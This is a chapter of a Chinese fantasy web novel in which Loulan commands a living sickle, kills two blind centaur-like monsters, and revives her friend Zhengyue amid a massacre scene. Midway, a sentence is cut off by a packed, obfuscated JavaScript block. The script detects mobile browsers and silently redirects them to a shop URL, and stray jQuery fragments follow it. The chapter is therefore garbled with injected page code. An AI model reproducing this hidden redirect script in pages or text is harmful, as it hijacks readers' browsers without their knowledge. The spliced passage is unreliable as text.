镰刀飞出去转了一圈,楼兰周围一公里就被清扫了个干净,效率比她高太多。回来之后还难掩兴奋,不住地颤抖。
见了这架势,也不知是害怕还是识时务,那些树蛇都在外围观望,不敢再上前挑衅。
武器不听话总有一天会伤到自己,楼兰深知这个道理,教育是少不了的:“你再乱窜出去就喂你喝血!”
这镰刀的效用已经被她摸了个七七八八,喜木不喜血,还融合了她的头发,大概和一棵草一样,都是天地间有灵性的生物了,不出意外的话……
“变大。”楼兰对着镰刀下达指令。
……
口令错误,镰刀没有任何变化。
楼兰想了想,换了个指令:“变长。”
刀刃未变,还是原来大小,融入了她头发的那截长杆迅速拉长,攻击范围瞬间加大。
楼兰对此很满意:“变回去吧。”
出门在外,尤其是在这么危险的环境里,有件趁手的武器可太重要了。
“回去奖励你割草。”楼兰决定对孩子进行鼓励式教育。
许妄见没了危险,一个健步冲回楼兰身边,夸赞道:“阿兰真厉害,几下就吓退了那些怪物。”
“……”乍一听到这肉麻的称呼,楼兰汗毛直立,“还是叫我楼兰吧。”
许妄笑眯眯的:“好,你说什么就是什么。”
接下来的一段路没再发生怪事,楼兰几次想问他们作为恋人时是怎么相处的,话到嘴边又被她咽了下去,她怕自己听到什么他们很相爱的话。
她想不出来自己会喜欢一个人,以至于和那人发展成恋人关系,这让她感到陌生。
可许妄身上的气息确实让她觉得很熟悉,让她想要靠近,但这和她觉得自己不会喜欢上任何人并不冲突。
还有她为什么会出现在草原上,她原本是要去哪里的?
说起来她记得很多事,看过什么电视、邻居又因为什么吵架了、四季变化这些她都记得,唯独记不清自己是做什么的了。
楼兰被拉了一下。
人声再次传来,楼兰知道他们走到了“终点”。
“有人。”许妄提醒道。
是有人在巡逻,两人找了处草木旺盛的地方躲了起来。
正月不用找,楼兰一眼就看到她了,她所处的位置最高、最醒目,也只有她一个人是被绑在木架上的。
应该还是活的,就是有点狼狈。编好的大麻花辫都抽丝了,脸上也灰扑扑的,衣服除了脏了些没有别的伤口。
可再拖下去保不准什么时候会死。
正月那边围坐了一群人,双手合十,嘟嘟囔囔地不知道在说什么。
翻译被抓了,楼兰搞不懂他们抓人的目的,不敢轻举妄动。
“他们要拿人做祭品。”许妄开口。
楼兰再次惊讶:“你听得懂他们说话?”
“早些年出去旅游跟不少当地人学过方言,这个恰好是我学过的,”许妄解释道,“你忘了?我们还是在旅途中认识的呢。”
楼兰很好奇自己的过去,问道:“我们是在哪认识的?”
“你不记得了?”
许妄的眼睛很黑,被他专注地看着的人总是会被他这双眼睛吸引住,因为那里仿佛藏了很多秘密,引人探究。
许妄噗嗤笑了:“差点忘了,你现在可是‘失忆的人类’呢。”
这笑声不大,可对于两个需要隐藏自己的人来说过于粗心。
巡逻的人很快朝着他们走过来,楼兰注意到那两个巡逻的人走路姿势很奇怪。
他们上半身几乎保持不变,没有一点摆臂幅度,移动速度却很快,不像是靠双腿可以完成的。
“你先……”楼兰扭头想让许妄先跑,却发现许妄早就偷摸跑远了,此时正钻进右边一个与她平行的隐蔽性更好的草丛中。
“……”很好,很有危机意识。
两个巡逻人越走越近,楼兰拍了拍口袋里的一棵草,又指指左边的草丛,聪明的小草立刻读懂她的动作含义,跳入左边草中,和这片森林融为一体。
离得楼兰稍远些了,一棵草开始上蹿下跳,弄出一阵不小的动静,带着两个巡逻人越走越远。
由于刚才他们的下半身被半人高的荒草遮挡,楼兰没有得见,现在他们跟着一棵草到了草木稀疏处,一切都清晰了。
那两个巡逻人之所以行走得飞快,全是因为他们的下半身不是人腿,其腰部以下连接的是马的四肢。
见所未见。
人类异化至此,其力量不知会有什么样的改变。
楼兰当即决定追出去。
这两个怪物必须解决,否则一会儿很可能会更麻烦。而且只能偷袭,楼兰并不知道当面对峙她能有几分胜算。
见危险消失,许妄又悄悄溜回来了。
“……”楼兰颇为无语,“你找准一个地方待着吧,别到处瞎跑了。”
许妄没有半点难为情:“我这不是怕打起来,你还要顾及我吗?跑远点你也方便大展身手。”
“呆好了,我马上回来。”
一棵草完成任务后就跑远了。那半人半马的两个怪物站在动静消失处的左右两边探寻着,手中长矛不停戳刺。
楼兰偷偷潜入左边怪物身后握紧镰刀,趁那怪物注意力全在前方,飞身上前一击将其毙命。
右边的怪物被惊动,驱使马身持矛向楼兰疾驰而来。
楼兰看得更仔细了。
那怪物人身的眼睛发白,没有瞳孔,无法聚焦,行动却依然迅捷。
楼兰在他快要靠近时侧身向旁边跳开,使怪物扑了个空。马蹄和地面摩擦,人身向后仰去,他耳朵微动,很快重新找准了方向。
怪物看不见,他是靠耳朵来辨别方位的。马体巨大,四肢无法及时转弯,楼兰可以趁他调整方向的空档发起进攻。
长矛猛地向楼兰刺过来,楼兰挥起镰刀挡开,接连几下都挡开了怪物的攻击,惹得怪物发怒,他的进攻频率不断加快,楼兰总是没有机会闪躲。
手臂多了几处擦伤,腰侧也被戳中,鲜血汩汩冒出,楼兰却没空处理,只能先用一只手死死摁住伤口。
金色镰刀和怪物的长矛相互碰撞摩擦,产生一串火花,火花产生的刹那,怪物抬起手臂捂住眼睛。
楼兰抓紧时机,挥动镰刀砍向怪物的脖子。
黑色粘稠液体从怪物的脖子中溢出,马身倒地不起,整个躯体颤动,最后归于沉寂。
楼兰盯了他一会儿,确定其彻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062711|195101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
底死亡后,用镰刀在马腿上割了个口子,里面流出的液体也是黑色的。
先前他们就在进行某种古怪的仪式,不知道这种形态算不算是仪式的最终目的?变成非人怪物?
森林常年不见阳光,异化的人类眼睛呈白翳状,畏光,倒给了楼兰击杀他的机会。
楼兰接上一棵草往回走,她离刚才藏身的地点有一段距离,鬼鬼祟祟的猫腰回去,和她来的时候一样。
楼兰回到原地却没有看到许妄的身影,她甚至怀疑自己回错了地方,可前前后后都没有看到许妄。
明明叫他老实躲着不要乱跑的!
算了,不管他。
楼兰看向那群人类的据点。
她腾地站起身来。
人没了,全都没了。
没有一点声音,在她追出去的这段时间到底发生了什么?
一棵草探了个尖出来,在发现这里的场景后回到它的老窝——楼兰的头顶,叹道:“怎么全不见了?难道是被本草的气势吓到逃走了?”
楼兰跑过去见到的是满地的黑色黏液,那些液体还在不断延展,似乎要占满整片土地,湿哒哒的气泡从这片黏液中鼓出、破碎。
楼兰踏足的地方不再有黏液为她让路,如果说之前这些东西是有生命的,那现在它们就是一堆死物。
楼兰向前走,忽然被绊了一下。
黏液渐渐铺开,露出底层的残肢,不难看出这里曾经经历了怎样的一场屠杀。
人类的上半部分身躯,加上没有马头的马身,一块一块的散落在这一小块空地,密密麻麻把这里铺满。
“你你你,你看到了吗?”一棵草惊恐道。
“嗯。”楼兰回应它。
“是谁这么残忍?居然都被肢解了?”
“不知道。”
在一片碎肢中,楼兰终于发现一具完整的躯体。
她上前忍着恶心扒开那具身体脸上的黏液,露出一张熟悉的脸,楼兰伸出食指探了探她的呼吸。
还没死透,有的救。
楼兰将正月口鼻中残留的脏物细心清理干净,又拍打她的双颊,都未能使她清醒。
楼兰回忆起在电视中学到的急救知识,双手拢在一起摁在正月的胸口,一下下地给她做心肺复苏。
在做了不下三十次心肺复苏后,正月终于有了反应,猛地吸进一大口空气,又急速呼出,反复几次之后归于平稳。
正月整个人还处于意识模糊、反应迟钝的状态下,对身边有人在救她这件事没能及时作出反馈,楼兰在她面前晃了晃手,正月才慢慢看向她。
楼兰看她呆呆傻傻的,问道:“好点没。”
正月一动不动地躺在地上盯着她看,直到眼睛泛酸了,泪水盈满眼眶,起身一把搂住楼兰的脖子。
“呜呜呜,你终于来了,我以为再也看不到你,再也看不到明天的太阳了,”正月崩溃地向她哭诉,“本来都想好好活着了,差点就死了,还好你又把我救了,要死这不能这个死法啊,太吓人了,呜呜呜呜呜。”
楼兰听着她上气不接下气地喘着,说的话也语无伦次的,只好拍拍她的后背,以作安慰。
等正月终于平静下来了,她问道:“你被抓来后都发生了什么?”